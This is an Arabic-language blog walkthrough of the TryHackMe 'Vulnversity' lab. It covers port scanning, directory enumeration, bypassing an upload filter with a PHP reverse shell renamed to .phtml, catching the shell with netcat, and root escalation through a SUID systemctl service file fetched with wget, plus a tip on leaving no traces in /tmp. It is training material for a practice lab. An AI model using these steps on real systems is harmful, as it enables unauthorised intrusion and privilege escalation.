Search 🔎🖥️

TryHackMe|Vulnversity WriteUp\Walkthrough (Arabic)

 بسم الله

اللي يبغى يشوف الحل مشروح فيديو يرجع للفيديو على قناتي باليوتيوب على هذا الرابط:



===============================================================

كلمة IP في كل الكوماندز اللي أكتبها تُستبدل بالـIP للمشين حقتكم على TryHackMe

أول حاجة نشغل الـmachine ونتأكد إننا اتصلنا بشبكة TryHackMe والاتصال مضبوط، بعدين نبدأ بأول خطوة للحل وهي إننا نسوي scan للشبكة باستخدام nmap

sudo nmap IP -vv

طلع معانا 6 بروتات اللي هي 21،22، 139، 445، 3128،3333 نرجع نسوي Aggressive سكان على نفس هذه البورتات 

sudo nmap IP -vv -A -p 21,22,139,445,3128,3333

طلع معانا معلومات كثيرة نقدر من خلالها نجاوب على أول الأسئلة بالتحدي، جميع الإجابات تلقونها أسفل الصفحة نهاية الحل. 

البروكسي شغال على بورت 3128 ورقم النسخة هو 3.5.12.

نظام التشغيل هو Ubuntu وعرفنا هذا من خلال قراءتنا للـversion على بورت 22. 

الويب سيرفير يتشغل على بورت 3333

بنبدأ ببورت 3333 بما إن زي مو واضح من نتائج السكان موجود عليها Apache Server، وثغرات الويب عديدة وفيه منها السهل، فبندخل ونشوف الصفحة. 

على المتصفح طلع معانا موقع جامعي عادي جدا ما فيه شيء مميز، ولو جربتوا تضغطون على الصفحات المختلفة والروابط ما بتطلعون بشيء، لذلك بنسوي directory enumeration باستخدام gobuster

gobuster dir -w /usr/share/dirb/wordlists/common.txt -u htttp://IP:3333/ -t 64

طلع معانا مسارات متعددة، المُلفت هو internal، نروح للمتصفح وندخل على صفحة internal

بنلاقي في الصفحة نموذج لرفع الملفات، هذا شيء راااائع، فعلطول بناخذ web shell ونرفعها على الموقع، أنا استخدمت الـpentestmonkey php shell أخذتها من الموقع revshells وهو موقع ممتاز ويخليك تحصل على shell بسهولة ويجمع الأنواع بمكان واحد.

نرجع على نظامنا ونحفظ الـShell في ملف ونسميه shell.php، بعدين نروح على internal ونرفع الـshell. 

هنا واجهتنا مشكلة، وهو إنه الـextension مُفلتَر، فمعناته ما أقدر أرفع ملفات php على النظام، لكن فيه حل، وهو إنه مو شرط أستخدم php بعينها، في extensions تنفع غيرها مثل php4، php3، phtml. ممكن إننا نجرب جميع هذه الامتدادات عن طريق إننا كل مرة نحفظ الملف بامتداد مختلف، ثم نرجع للصفحة ونرفع الملف ونشوف ينقبل أو لا، لكن في طريقة أسرع باستخدام burpsuite. 

أول شيء بنحفظ الامتدادات الـ4 اللي كتبناها فوق في ملف، كل امتداد في سطر لوحده، وشملنا php مع إنه نعرف ما بينجح لآن بنخليه للمقارنة، ونسمي هذا الملف مثلا phpext، ثم من foxy proxy على المتصفح نختار burpsuite ثم نفتح burpsuite، بعد كذا نرجع نرفع الـphp shell من الصفحة ونلتقط الطلب، هو رح يرفضها، ومو مهم، المهم الآن إننا نلتقط الطلب على burp. بنلقى الطلب تحت قائمة proxy ثم HTTP history وبنلاقي الطلب، نضغط بزر الفأرة الأيمن ونختار send to intruder.

نروح لـintruder ثم نضغط على § clear بعد كذا نحدد على امتداد الملف فقط ونضغط § add 

هذا قبل ما نضغط add

وهنا بعد 

بعد كذا نروح على القائمة الفرعية اللي اسمها payloads وتحت payload settings نضغط على load ثم بيفتح معانا نافذة للمفات على الجهاز، نروح للملف phpext اللي جهزناه بالأعلى ونختاره. ثم بتتحمل معانا الامتدادات. 

نشيل الصح من عند payload encoding ثم نضغط على Start attack في أعلى اليمين. بيبدأ يرسل طلب على كل من هذه الامتدادات. من النتائج واضح إن كلها نفس الحجم ما عدا واحد مختلف اللي هو phtml، لذلك بنشيك عليه أول شيء. 

إذا شفنا الـhttp response بنشوف كلمة success وهذا يعني إنه يقبل هذا الامتداد.

اللي بنسويه الآن إننا بنروح للملف ونغير امتداده

mv shell.php shell.phtml

لو في شيء مو واضح ممكن ترجعون لمقطع الشرح وتشوفون كيف تستخدمون burpsuite بالتفصيل في المقطع أعلاه من الدقيقة 7:18 إلى إلى 10:50

رفعنا الملف shell.phtml وارتفع وضبط معاي، لكن المشكلة إني ما أعرف وين راح الملف، اللي أعرفه فقط إن الطلب يتم إرساله للصفحة internal، لذلك بنرجع نسوي gobuster ونشوف وش فيه مسارات تحت internal ممكن نلاقي الملف اللي رفعناه فيها. 

gobuster dir -w /usr/share/dirb/wordlists/common.txt -u htttp://IP:3333/internal -t 64

طلع معانا المسارuploads يعني احتمال %99.99 بنلاقي الـshell هناك، نروح للصفحة على المتصفح وقبل ما نضغط على الشيل نتأكد إن الـListener  شغال على جهازنا

nc -nlvp 4444

ثم نضغط على الـshell وبيوصل لنا اتصال من الضحية على جهازنا، وبما إن الـvictim  جهاز نواته linux فجدا سهل إننا نسوي stabilization للـshell، ايش يعني؟ يعني نخليها متينة وما تقفل أول ما نضغط ctrl+c ونقدر نستخدم الأسهم و tab completion وكذا.

الخطوات كالتالي:

نشغل هذه الكوماند باستخدام python3 إذا ما ضبط عادي نجرب python

python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

بعدين هذه الكوماند

export TERM=xterm

ثم نضغط على الكيبورد ctrl+z عشان نخلي الـshell ترجع للخلفية

الحين نجيبها لقدام باستخدام هذه الكوماند

stty raw -echo;fg

الحين صار معانا stable shell نقدر نستخدمها براحتنا بدون ما نخاف إنها تطير أو تطفشنا إذا جينا نمسح ونعدل بالكلمات. إذا رجعت لكم الـshell  ماهي منتظمة وبادية من نص السطر، بس شغلو أي كوماند مثل id وبترجع تضبط بإذن الله.

الآن بما إننا داخل جهاز الضحية، بنروح للـhome ونشوف وش عندي مستخدمين

cd home

ls

عندي bill

cd bill

ls

بنلاقي أول فلاق، نستعرضه

cat user.txt

وبكذا حصلنا على أول فلاق ✨، ثاني فلاق يكون غالبا في root home directory وعشان نقدر نقرأه ونوصل له نحتاج نرفع صلاحياتنا، وهو أعطاني تلميحة في السؤال وقال إننا بنستخدم SUID binary، فنبحث عنها في النظام باستخدام 

find / -perm /4000 2>/dev/null

طلع معانا binaries كثيرة، المُلفت فيها هو systemctl، عشان نبحث عن طريقة نستخدم فيها هذا البايناري لرفع الصلاحيات، نكتب في قوقل 

systemctl privilege escalation

فيه عدة مصادر، هذا جدا ممتاز 

https://alvinsmith.gitbook.io/progressive-oscp/untitled/vulnversity-privilege-escalation

بنسوي زي ما يبغى بالضبط، أول حاجة بننسخ السكريبت زي ماهو ونحفظه في ملف على نظامنا، ونعدل على الـIP نحط مكانه عنوان openVPN لجهازنا، وباقي المعلومات زي ماهي. 

بعد كذا ننقل هذا السكريبت إلى الضحية. أول شيء نشغل بايثون سيرفير على المجلد اللي يحتوي على الملف اللي نبي ننقله

python3 -m http.server

وعلى جهاز الضحية نروح للـtmp ونحمل الملف هناك

طيب ليه اخترت الـtmp ؟؟

أول حاجة tmp هو ملف كل الملفات اللي فيه تُمسح تلقائيا عند إغلاق الجهاز، فمثلا لو كنت تشتغل في جهاز الضحية وفجأة تقفل، علطول بينمسح أي شيء حملته هناك على tmp ويصير ما يبقى لك أثر. 

ثاني حاجة، لما نشتغل على جهاز أفضل إننا نجعل ملفاتنا محفوظة في مكان واحد، لسهولة الوصول لها ولسهولة مسحها والتخلص منها، ويا سلام لو كان هذا المكان هو من نفسه يمسح اللي فيه لو تم إغلاق الجهاز بشكل مفاجئ. 

wget http://OpenVPN-IP:8000/root.service

نروح على جهازنا ونجهز الـlistener ونتأكد إن رقم البورت نفس اللي موجود على الـExploit وهو 9999، 

ثم ننفذ على الضحية هذه الكوماندز

/bin/systemctl enable /dev/shm/root.service

/bin/systemctl start root

إذا كل شيء تمام المفروض يجينا اتصال على جهازنا من الضحية ولكن الـshell هذه المرة بتكون بصلاحيات رووت. أول ما يجينا الاتصال نروح لمجلد رووت ونقرأ الفلاق

cd /root

ls 

cat root.txt

وبكذا انتهينا من الحل وحصلنا على ثاني فلاق ✨


هذه إجابات الأسئلة ما عدا الفلاقات:

Reconnaissance

كل الإجابات هنا من خلال نتائج الـAggressive nmap scan حصلنا عليها

Locating directories using Gobuster

Compromise the Webserver

Privilege Escalation

Comments

Popular posts from this blog

TryHackMe|Blog WriteUp\Walkthrough (Arabic)

eJPTv2 Exam Review (Arabic)

TryHackMe|Blueprint WriteUp\Walkthrough (Arabic)